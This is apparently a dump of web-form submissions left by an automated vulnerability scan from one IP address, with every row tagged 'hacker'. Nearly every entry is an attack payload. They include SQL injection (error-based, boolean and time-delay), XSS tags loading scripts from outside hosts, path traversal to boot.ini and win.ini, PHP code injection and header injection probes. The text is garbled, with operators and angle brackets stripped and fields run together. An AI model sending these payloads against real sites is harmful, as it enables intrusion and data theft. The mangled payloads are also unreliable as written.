hacker2014-11-21 9:30:44218.30.118.7988888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) # 
88888
hacker2014-11-21 9:30:47218.30.118.7988888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-11-21 9:30:47218.30.118.7988888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-11-21 9:30:53218.30.118.7988888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-11-21 9:30:54218.30.118.7988888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-11-21 9:30:54218.30.118.7988888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23 
88888
hacker2014-11-21 9:30:59218.30.118.7988888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND  
88888
hacker2014-11-21 9:30:59218.30.118.7988888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND TaTa 
88888
hacker2014-11-21 9:31:00218.30.118.7988888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (TaTa 
88888
hacker2014-11-21 9:31:01218.30.118.7988888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (20142014 
88888
hacker2014-11-21 9:31:02218.30.118.7988888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) 
88888
hacker2014-11-21 9:31:02218.30.118.7988888 AND 1CHAR(106)+CHAR(106)+CHAR(106) 
88888
hacker2014-11-21 9:31:04218.30.118.7988888 AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-11-21 9:31:04218.30.118.7988888 AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-11-21 9:31:06218.30.118.7988888) AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-11-21 9:31:06218.30.118.7988888) AND 1CHAR(106)+CHAR(106)+CHAR(106) -- 
88888
hacker2014-11-21 9:31:18218.30.118.79(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 
88888
hacker2014-11-21 9:31:18218.30.118.79EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 
88888
hacker2014-11-21 9:31:20218.30.118.79CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) 
88888
hacker2014-11-21 9:31:22218.30.118.79 
88888
hacker2014-11-21 9:31:23218.30.118.7988888 AND 3551 
88888
hacker2014-11-21 9:31:25218.30.118.7988888 AND 9999 
88888
hacker2014-11-21 9:31:25218.30.118.7988888) AND 6536 AND (6565 
88888
hacker2014-11-21 9:31:27218.30.118.7988888 OR 1414 LIMIT 100 -- 
88888
hacker2014-11-21 9:31:27218.30.118.7988888,(SELECT (CASE WHEN (5734) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-11-21 9:31:29218.30.118.7988888,(SELECT (CASE WHEN (3131) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-11-21 9:31:29218.30.118.7988888,IIF(1211,88888,1/0) 
88888
hacker2014-11-21 9:31:31218.30.118.7988888,IIF(1616,88888,1/0) 
88888
hacker2014-11-21 9:31:33218.30.118.7988888 RLIKE (SELECT (CASE WHEN (7238) THEN 88888 ELSE 0x28 END)) 
88888
hacker2014-11-21 9:31:35218.30.118.7988888 RLIKE (SELECT (CASE WHEN (9292) THEN 88888 ELSE 0x28 END)) 
88888
hacker2014-11-21 9:31:35218.30.118.7988888) RLIKE (SELECT (CASE WHEN (6372) THEN 88888 ELSE 0x28 END)) AND (6363 
88888
hacker2014-11-21 9:31:36218.30.118.7988888) RLIKE (SELECT (CASE WHEN (4444) THEN 88888 ELSE 0x28 END)) AND (2525 
88888
hacker2014-11-21 9:31:40218.30.118.7988888) OR 9797 OR (9797) LIMIT 100 -- 
88888
hacker2014-11-21 9:31:41218.30.118.7988888) OR 1386 OR (1386 
88888
hacker2014-11-21 9:31:48218.30.118.79(SELECT (CASE WHEN (1563) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-11-21 9:31:48218.30.118.79(SELECT (CASE WHEN (9191) THEN 88888 ELSE 1/(SELECT 0) END)) 
88888
hacker2014-11-21 9:31:51218.30.118.79IIF(6841,88888,1/0) 
88888
hacker2014-11-21 9:31:51218.30.118.79IIF(3131,88888,1/0) 
88888
hacker2014-11-21 9:31:55218.30.118.7988888 AND W0nk 
88888
hacker2014-11-21 9:31:55218.30.118.7988888 AND 9291 AND  
88888
hacker2014-11-21 9:31:56218.30.118.7988888) AND 8136 AND (oror 
88888
hacker2014-11-21 9:31:59218.30.118.7988888) AND 2727 AND (aTaT 
88888
hacker2014-11-21 9:32:00218.30.118.798888827 AND 3598 # 
88888
hacker2014-11-21 9:32:01218.30.118.798888827 AND 4444 # 
88888
hacker2014-11-21 9:32:01218.30.118.7988888) AND 5478 AND 1 like( 
88888
hacker2014-11-21 9:32:03218.30.118.7988888) AND 2626 AND 1 like( 
88888
hacker2014-11-21 9:32:03218.30.118.7988888 OR 9C9C LIMIT 100 -- 
88888
hacker2014-11-21 9:32:10218.30.118.7988888 IF(5412) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-11-21 9:32:10218.30.118.7988888 IF(1414) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-11-21 9:32:14218.30.118.7988888) IF(9871) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-11-21 9:32:14218.30.118.7988888) IF(2222) SELECT 1 ELSE DROP FUNCTION EEye_WebSec -- 
88888
hacker2014-11-21 9:32:17218.30.118.7988888) RLIKE (SELECT (CASE WHEN (1141) THEN 88888 ELSE 0x28 END)) AND (U1U1 
88888
hacker2014-11-21 9:32:17218.30.118.7988888) RLIKE (SELECT (CASE WHEN (3838) THEN 88888 ELSE 0x28 END)) AND (cmcm 
88888
hacker2014-11-21 9:32:18218.30.118.7988888 RLIKE (SELECT (CASE WHEN (4944) THEN 88888 ELSE 0x28 END)) AND  
88888
hacker2014-11-21 9:32:19218.30.118.7988888 RLIKE (SELECT (CASE WHEN (1717) THEN 88888 ELSE 0x28 END)) AND  
88888
hacker2014-11-21 9:32:20218.30.118.7988888 RLIKE (SELECT (CASE WHEN (1714) THEN 88888 ELSE 0x28 END)) AND KQKQ 
88888
hacker2014-11-21 9:32:23218.30.118.7988888 RLIKE (SELECT (CASE WHEN (1818) THEN 88888 ELSE 0x28 END)) AND 5Z5Z 
88888
hacker2014-11-21 9:32:23218.30.118.7988888 
88888
hacker2014-11-21 9:32:24218.30.118.7988888 WAITFOR DELAY 0:0:5-- 
88888
hacker2014-11-21 9:32:24218.30.118.7988888 
88888
hacker2014-11-21 9:32:25218.30.118.7988888 WAITFOR DELAY 0:0:5-- 
88888
hacker2014-11-21 9:32:25218.30.118.7988888 
88888
hacker2014-11-21 9:32:26218.30.118.7988888 WAITFOR DELAY 0:0:5-- 
88888
hacker2014-11-21 9:32:29218.30.118.7988888 
88888
hacker2014-11-21 9:32:31218.30.118.7988888 WAITFOR DELAY 0:0:5 -- 
88888
hacker2014-11-21 9:32:31218.30.118.7988888 
88888
hacker2014-11-21 9:32:32218.30.118.7988888) WAITFOR DELAY 0:0:5 -- 
88888
hacker2014-11-21 9:32:32218.30.118.7988888 
88888
hacker2014-11-21 9:32:33218.30.118.7988888) WAITFOR DELAY 0:0:5 -- 
88888
hacker2014-11-21 9:32:33218.30.118.7988888 
88888
hacker2014-11-21 9:32:34218.30.118.7988888)) WAITFOR DELAY 0:0:5 -- 
88888
hacker2014-11-21 9:32:34218.30.118.7988888 
88888
hacker2014-11-21 9:32:35218.30.118.7988888 AND SLEEP(5) 
88888
hacker2014-11-21 9:32:35218.30.118.7988888 
88888
hacker2014-11-21 9:32:35218.30.118.7988888 AND SLEEP(5) # 
88888
hacker2014-11-21 9:32:36218.30.118.7988888 
88888
hacker2014-11-21 9:32:36218.30.118.7988888 AND SLEEP(5) # 
88888
hacker2014-11-21 9:32:37218.30.118.7988888 
88888
hacker2014-11-21 9:32:37218.30.118.7988888) AND SLEEP(5) # 
88888
hacker2014-11-21 9:32:38218.30.118.7988888 
88888
hacker2014-11-21 9:32:38218.30.118.7988888 
88888
hacker2014-11-21 9:32:38218.30.118.7988888) AND SLEEP(5) # 
88888
hacker2014-11-21 9:32:39218.30.118.7988888 
88888
hacker2014-11-21 9:32:39218.30.118.7988888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2014-11-21 9:32:40218.30.118.7988888 
88888
hacker2014-11-21 9:32:40218.30.118.7988888,(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2014-11-21 9:32:40218.30.118.7988888 
88888
hacker2014-11-21 9:32:41218.30.118.7988888),(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2014-11-21 9:32:41218.30.118.7988888 
88888
hacker2014-11-21 9:32:41218.30.118.7988888 
88888
hacker2014-11-21 9:32:42218.30.118.7988888),(SELECT if(COUNT(*)!-1,SLEEP(5),SLEEP(5)))# 
88888
hacker2014-11-21 9:32:42218.30.118.7988888 
88888
hacker2014-11-21 9:32:42218.30.118.7988888 
88888
hacker2014-11-21 9:32:43218.30.118.7988888 AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) AND TnTTnT 
88888
hacker2014-11-21 9:32:44218.30.118.7988888 
88888
hacker2014-11-21 9:32:45218.30.118.7988888AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) 
88888
hacker2014-11-21 9:32:45218.30.118.7988888 
88888
hacker2014-11-21 9:32:45218.30.118.7988888 
88888
hacker2014-11-21 9:32:46218.30.118.7988888 AND 1997DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)||CHR(99)||CHR(97)||CHR(100),5) AND  
88888
hacker2014-11-21 9:32:46218.30.118.7988888 
88888
hacker2014-11-21 9:32:47218.30.118.7988888 
88888
hacker2014-11-21 9:32:48218.30.118.7988888 
88888
hacker2014-11-21 9:32:48218.30.118.7988888 
88888
hacker2014-11-21 9:32:49218.30.118.7988888 
88888
hacker2014-11-21 9:32:50218.30.118.7988888 
88888
hacker2014-11-21 9:32:51218.30.118.7988888 
88888
hacker2014-11-21 9:32:52218.30.118.7988888 
88888
hacker2014-11-21 9:32:54218.30.118.7988888 
88888
hacker2014-11-21 9:32:55218.30.118.7988888 
88888
hacker2014-11-21 9:32:56218.30.118.7988888 
88888
hacker2014-11-21 9:32:57218.30.118.7988888 
88888
hacker2014-11-21 9:32:58218.30.118.7988888 
88888
hacker2014-11-21 9:32:59218.30.118.7988888 
88888
hacker2014-11-21 9:33:02218.30.118.7988888 
88888
hacker2014-11-21 9:33:13218.30.118.7988888script srchttp://xxooxxoo.js/script 
88888
hacker2014-11-21 9:33:41218.30.118.7988888 
88888
hacker2014-11-21 9:33:41218.30.118.7988888 
88888
hacker2014-11-21 9:33:43218.30.118.7988888 
88888
hacker2014-11-21 9:33:49218.30.118.7988888object datadata:text/htmlbase64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4 
88888
hacker2014-11-21 9:33:50218.30.118.7988888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-11-21 9:33:51218.30.118.7988888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-11-21 9:33:51218.30.118.7988888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-11-21 9:33:53218.30.118.7988888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-11-21 9:33:54218.30.118.7988888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) #
hacker2014-11-21 9:33:55218.30.118.7988888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-11-21 9:33:56218.30.118.7988888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-11-21 9:33:57218.30.118.7988888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-11-21 9:33:58218.30.118.7988888 
88888) AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-11-21 9:33:59218.30.118.7988888 
88888 AND 1(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1)) 23
hacker2014-11-21 9:34:00218.30.118.7988888" mouseoverpropromptmpt(42873) bad" 
88888
hacker2014-11-21 9:34:00218.30.118.7988888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-11-21 9:34:01218.30.118.7988888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-11-21 9:34:02218.30.118.7988888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-11-21 9:34:03218.30.118.7988888iframe srchttp://xxooxxoo.js 
88888
hacker2014-11-21 9:34:03218.30.118.7988888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-11-21 9:34:03218.30.118.7988888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) #
hacker2014-11-21 9:34:05218.30.118.7988888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-11-21 9:34:05218.30.118.7988888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-11-21 9:34:06218.30.118.7988888 
88888
hacker2014-11-21 9:34:06218.30.118.7988888 
88888
hacker2014-11-21 9:34:06218.30.118.7988888 
88888 AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-11-21 9:34:07218.30.118.7988888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-11-21 9:34:08218.30.118.7988888 
88888) AND EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74)) 23
hacker2014-11-21 9:34:08218.30.118.798888827 
88888
hacker2014-11-21 9:34:09218.30.118.7988888 
88888
hacker2014-11-21 9:34:09218.30.118.7988888 
88888
hacker2014-11-21 9:34:10218.30.118.7988888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND
hacker2014-11-21 9:34:10218.30.118.7988888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND TaTa
hacker2014-11-21 9:34:11218.30.118.7988888 
88888
hacker2014-11-21 9:34:11218.30.118.7988888 
88888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (TaTa
hacker2014-11-21 9:34:12218.30.118.7988888 
88888
hacker2014-11-21 9:34:12218.30.118.7988888 
88888
hacker2014-11-21 9:34:12218.30.118.7988888 
88888
hacker2014-11-21 9:34:13218.30.118.7988888 
88888) AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101))) AND (20142014
hacker2014-11-21 9:34:13218.30.118.7988888\ 
88888
hacker2014-11-21 9:34:13218.30.118.7988888 
88888 AND 1122CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101)))
hacker2014-11-21 9:34:15218.30.118.7988888 
88888
hacker2014-11-21 9:34:16218.30.118.7988888\" 
88888
hacker2014-11-21 9:34:17218.30.118.7988888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106)
hacker2014-11-21 9:34:17218.30.118.7988888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-11-21 9:34:19218.30.118.7988888 
88888
hacker2014-11-21 9:34:19218.30.118.7988888 
88888 AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-11-21 9:34:19218.30.118.7988888JyI 
88888
hacker2014-11-21 9:34:19218.30.118.7988888 
88888) AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-11-21 9:34:21218.30.118.7988888 
88888) AND 1CHAR(106)+CHAR(106)+CHAR(106) --
hacker2014-11-21 9:34:22218.30.118.7988888 
88888
hacker2014-11-21 9:34:22218.30.118.7988888" 
88888
hacker2014-11-21 9:34:25218.30.118.7988888? 
88888
hacker2014-11-21 9:34:27218.30.118.7988888e360 
88888
hacker2014-11-21 9:34:30218.30.118.79888886633x3X6 
88888
hacker2014-11-21 9:34:32218.30.118.7988888"\\"27? 
88888
hacker2014-11-21 9:34:33218.30.118.7988888 
88888
hacker2014-11-21 9:34:35218.30.118.7988888" 
88888
hacker2014-11-21 9:34:37218.30.118.7988888/ 
88888
hacker2014-11-21 9:34:40218.30.118.7988888) 
88888
hacker2014-11-21 9:34:42218.30.118.7988888!(() 
88888
hacker2014-11-21 9:34:44218.30.118.7988888 
(UPDATEXML(1,CONCAT(0x5e24,(SELECT 0x5468696E6B3A693A646966666572656E74),0x5e24),1))
hacker2014-11-21 9:34:45218.30.118.7988888alert(42873) 
88888
hacker2014-11-21 9:34:47218.30.118.7988888 
EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT (CASE WHEN (12221222) THEN 1 ELSE 0 END)),0x3A646966666572656E74))
hacker2014-11-21 9:34:47218.30.118.79../../../../../../../../boot.ini 
88888
hacker2014-11-21 9:34:48218.30.118.7988888 
CONVERT(INT,(SELECT CHAR(84)+CHAR(97)+CHAR(105)+CHAR(87)+CHAR(97)+CHAR(110)+CHAR(58)+CHAR(103)+CHAR(111)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(109)+CHAR(101)))
hacker2014-11-21 9:34:50218.30.118.79../../../../../../../../boot.ini 
88888
hacker2014-11-21 9:34:51218.30.118.79boot.ini 
88888
hacker2014-11-21 9:34:52218.30.118.79../../../../../../../../boot.ini 
88888
hacker2014-11-21 9:34:53218.30.118.79../../../../../../../../boot.ini 
88888
hacker2014-11-21 9:34:54218.30.118.79/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini 
88888
hacker2014-11-21 9:34:55218.30.118.79C:\boot.ini 
88888
hacker2014-11-21 9:34:57218.30.118.7988888 
(SELECT CHAR(116)+CHAR(104)+CHAR(105)+CHAR(110)+CHAR(107)+CHAR(58)+(SELECT (CASE WHEN (19431943) THEN CHAR(105) ELSE CHAR(48) END))+CHAR(58)+CHAR(100)+CHAR(105)+CHAR(102)+CHAR(102)+CHAR(101)+CHAR(114)+CHAR(101)+CHAR(110)+CHAR(116))
hacker2014-11-21 9:34:57218.30.118.7988888 
88888 AND 1725
hacker2014-11-21 9:34:58218.30.118.7988888 
88888 AND 4848
hacker2014-11-21 9:34:59218.30.118.7988888 
88888) AND 5474 AND (5454
hacker2014-11-21 9:35:00218.30.118.7988888 
88888) AND 4141 AND (4141
hacker2014-11-21 9:35:00218.30.118.79..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-11-21 9:35:01218.30.118.7988888 
88888 OR 8787 LIMIT 100 --
hacker2014-11-21 9:35:01218.30.118.79../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 
88888
hacker2014-11-21 9:35:02218.30.118.79../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 
88888
hacker2014-11-21 9:35:03218.30.118.79................boot.ini 
88888
hacker2014-11-21 9:35:04218.30.118.7988888 
88888,(SELECT (CASE WHEN (1646) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-11-21 9:35:05218.30.118.79..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-11-21 9:35:05218.30.118.79|..\..\..\..\..\..\..\..\boot.ini 
88888
hacker2014-11-21 9:35:06218.30.118.79../../../../../../../../boot.ini 
88888
hacker2014-11-21 9:35:07218.30.118.7988888 
88888,(SELECT (CASE WHEN (8181) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-11-21 9:35:07218.30.118.79../../../../../../../../boot.ini 
88888
hacker2014-11-21 9:35:08218.30.118.7988888 
88888,IIF(6344,88888,1/0)
hacker2014-11-21 9:35:09218.30.118.79file:///c:/boot.ini 
88888
hacker2014-11-21 9:35:10218.30.118.79................windowswin.ini 
88888
hacker2014-11-21 9:35:11218.30.118.79http://some-inexistent-website.com/some_inexistent_file_with_lg_name 
88888
hacker2014-11-21 9:35:12218.30.118.79/some_inexistent_file_with_lg_name 
88888
hacker2014-11-21 9:35:13218.30.118.79 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2014-11-21 9:35:14218.30.118.79 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2014-11-21 9:35:15218.30.118.79 SomeCustomInjectedHeader:injected_by_test 
88888
hacker2014-11-21 9:35:16218.30.118.79dir 
88888
hacker2014-11-21 9:35:17218.30.118.79dir 
88888
hacker2014-11-21 9:35:17218.30.118.7988888 
88888,IIF(6161,88888,1/0)
hacker2014-11-21 9:35:18218.30.118.79http://oxoxoxoxoxoxox.com 
88888
hacker2014-11-21 9:35:19218.30.118.79oxoxoxoxoxoxox.com 
88888
hacker2014-11-21 9:35:21218.30.118.7988888 
88888 RLIKE (SELECT (CASE WHEN (8872) THEN 88888 ELSE 0x28 END))
hacker2014-11-21 9:35:21218.30.118.79print(md5(1122))# 
88888
hacker2014-11-21 9:35:22218.30.118.79)print(md5(1122))// 
88888
hacker2014-11-21 9:35:23218.30.118.79${@print(md5(1122))} 
88888
hacker2014-11-21 9:35:24218.30.118.79data:text/plain,?php print(md5(1122))? 
88888
hacker2014-11-21 9:35:25218.30.118.79phpinfo 
88888
hacker2014-11-21 9:35:26218.30.118.79?exit(md5(1122))? 
88888
hacker2014-11-21 9:35:27218.30.118.79http://220.181.158.71:80 
88888
hacker2014-11-21 9:35:28218.30.118.79http://hitBAo6EKQnyr.bxss.me/ 
88888
hacker2014-11-21 9:35:28218.30.118.7988888 
88888 RLIKE (SELECT (CASE WHEN (4444) THEN 88888 ELSE 0x28 END))
hacker2014-11-21 9:35:29218.30.118.7988888 
88888) RLIKE (SELECT (CASE WHEN (1216) THEN 88888 ELSE 0x28 END)) AND (1212
hacker2014-11-21 9:35:29218.30.118.79http://hitd0rQGQge8t.bxss.me/ 
88888
hacker2014-11-21 9:35:30218.30.118.7988888 
88888) RLIKE (SELECT (CASE WHEN (3131) THEN 88888 ELSE 0x28 END)) AND (4444
hacker2014-11-21 9:35:45218.30.118.7988888 
88888) OR 3333 OR (3333) LIMIT 100 --
hacker2014-11-21 9:35:58218.30.118.7988888 
88888) OR 8167 OR (8167
hacker2014-11-21 9:35:59218.30.118.7988888 
(SELECT (CASE WHEN (1621) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-11-21 9:35:59218.30.118.7988888 
(SELECT (CASE WHEN (2929) THEN 88888 ELSE 1/(SELECT 0) END))
hacker2014-11-21 9:36:22218.30.118.7988888 
IIF(1518,88888,1/0)
hacker2014-11-21 9:36:23218.30.118.7988888 
IIF(7979,88888,1/0)
hacker2014-11-21 9:36:28218.30.118.7988888 
88888 AND YNbQ
hacker2014-11-21 9:36:29218.30.118.7988888 
88888 AND 9587 AND
hacker2014-11-21 9:36:30218.30.118.7988888 
88888) AND 3761 AND (QjQj
hacker2014-11-21 9:36:31218.30.118.7988888 
8888827 AND 8171 #
hacker2014-11-21 9:36:52218.30.118.7988888 
88888) AND 3142 AND 1 like(
hacker2014-11-21 9:36:53218.30.118.7988888 
88888 OR 2F2F LIMIT 100 --
hacker2014-11-21 9:37:07218.30.118.7988888 
88888 IF(1488) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-11-21 9:37:08218.30.118.7988888 
88888 IF(1414) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-11-21 9:37:38218.30.118.7988888 
88888) IF(8715) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-11-21 9:37:49218.30.118.7988888 
88888) IF(3232) SELECT 1 ELSE DROP FUNCTION EEye_WebSec --
hacker2014-11-21 9:38:04218.30.118.7988888 
88888) RLIKE (SELECT (CASE WHEN (5918) THEN 88888 ELSE 0x28 END)) AND (xfxf
hacker2014-11-21 9:38:10218.30.118.7988888 
88888
hacker272014-11-21 9:38:13218.30.118.7988888 
88888
hacker2014-11-21 9:38:15218.30.118.7988888 
88888
hacker\2014-11-21 9:38:17218.30.118.7988888 
88888
hacker\"2014-11-21 9:38:19218.30.118.7988888 
88888
hackerJyI2014-11-21 9:38:21218.30.118.7988888 
88888
hacker"2014-11-21 9:38:26218.30.118.7988888 
88888
hacker?2014-11-21 9:38:31218.30.118.7988888 
88888
hacker2014-11-21 9:38:32218.30.118.7988888 
88888
hacker2014-11-21 9:38:42218.30.118.7988888 
88888) RLIKE (SELECT (CASE WHEN (6161) THEN 88888 ELSE 0x28 END)) AND (cScS
hacker2014-11-21 9:38:43218.30.118.7988888 
88888 RLIKE (SELECT (CASE WHEN (7223) THEN 88888 ELSE 0x28 END)) AND
hacker2014-11-21 9:38:48218.30.118.7988888 
88888 RLIKE (SELECT (CASE WHEN (8181) THEN 88888 ELSE 0x28 END)) AND
hacker2014-11-21 9:38:49218.30.118.7988888 
88888 RLIKE (SELECT (CASE WHEN (1519) THEN 88888 ELSE 0x28 END)) AND oMoM
hacker"2014-11-21 9:38:50218.30.118.7988888 
88888
